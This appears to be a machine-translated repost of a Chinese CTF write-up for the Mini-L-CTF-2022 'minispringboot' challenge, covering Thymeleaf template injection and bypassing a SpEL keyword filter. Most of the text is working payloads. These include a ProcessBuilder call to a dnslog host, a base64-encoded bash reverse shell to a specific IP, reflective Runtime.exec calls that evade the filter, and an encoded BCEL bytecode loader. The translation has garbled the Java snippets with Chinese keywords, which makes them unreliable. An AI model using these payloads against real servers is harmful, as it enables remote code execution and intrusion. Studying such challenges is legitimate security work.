Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过
低版本Thymeleaf注射液
漏洞点
公共类主控制器{
@GetMapping({\’/{语言}\’})
public String test(@PathVariable(name=\’ language\’) string language, @RequestParam(required=false) string name, model model) {
如果(名称!=空){
model.addAttribute(\’名称\’, 名称);
返回语言+ \’/game\’。
}
返回语言+ \’/index\’。
}
可以看到可以控制路由和返回值。这非常简单,就像设置一样。
__${}__:x
主要看到的是spel绕过、waf
if (Pattern.matches(\’.*new.*|.*untime.*\’, requestURI))
我禁用了new 和untime,即运行时
事实上,ProcessBuilder也可以执行命令。
例如
__${new ProcessBuilder(\’curl xxx.dnslog.cn\’).start()}__:x
如何绕过new,这里是关键词
1.只需使用“新建”
然后重新绑定外壳。这就需要base64编码和解码。
http://192.168.238.165:49153/__${new ProcessBuilder(\’bash\’,\’-c\’,\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i }\’).start() }__:x
然后,如果您想避免运行时,请使用
可以反射地调用
\’\’.getClass().forName(\’java.lang.Run\’+\’time\’).getMethod(\’exec\’, \’\’.getClass()).invoke(\’\’.getClass().forName(\’java. lang.Run\’+\’time\’).getMethod(\’getRun\’+\’time\’).invoke(\’\’.getClass().forName(\’java.lang.Run\’+\’time\’)),\’bash -c {回声,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\’)
或者动态加载字节码
使用BCEL或者Spring自己的字节码
__${\’\’.getClass().forName(\’java.lang.Class\’).getDeclaredMethod(\’n\’+\’ewInstance\’).invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader ().loadClass(\’$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9 f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896 $e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da $c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de $zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$ f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae $8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH $a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$ K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9 $e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$ tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$ a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A\’))}__:x
以上关于#Mini的相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93185.html